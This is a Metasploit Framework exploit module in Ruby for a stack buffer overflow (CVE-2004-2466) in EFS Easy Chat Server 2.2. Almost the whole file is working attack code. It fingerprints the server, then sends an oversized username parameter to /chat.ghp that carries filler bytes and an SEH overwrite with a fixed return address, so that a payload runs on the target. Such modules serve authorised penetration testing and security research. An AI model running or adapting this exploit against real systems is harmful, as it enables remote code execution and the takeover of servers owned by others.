##
# $Id: efs_easychatserver_username.rb 7880 2009-12-15 18:47:29Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in EFS Software Easy Chat Server. By
				sending a overly long authentication request, an attacker may be able to execute
				arbitrary code.
			},
			'Author'         => [ 'LSO <lso[@]hushmail.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 7880 $',
			'References'     =>
				[
					[ 'CVE', '2004-2466' ],
					[ 'OSVDB', '7416' ],
					[ 'BID', '25328' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
				],
			'DisclosureDate' => 'Aug 14 2007',
			'DefaultTarget'  => 0))
			
			register_options( [ Opt::RPORT(80) ], self.class )
	end

	def check
		res = send_request_raw
			
			if res and res['Server'] =~ /Easy Chat Server\/1.0/
				return Exploit::CheckCode::Appears
			end

			return Exploit::CheckCode::Safe
	end

	def exploit
		# randomize some values.
		val = rand_text_alpha(rand(10) + 1)
		num = rand_text_numeric(1)

		# exploit buffer.
		filler = rand_text_alpha(216)
		seh    = generate_seh_payload(target.ret)
		juju = filler + seh

		uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#{val}=#{num}"

		print_status("Trying target #{target.name}...")

		send_request_raw({'uri' => uri}, 5)

		handler
		disconnect
	end

end

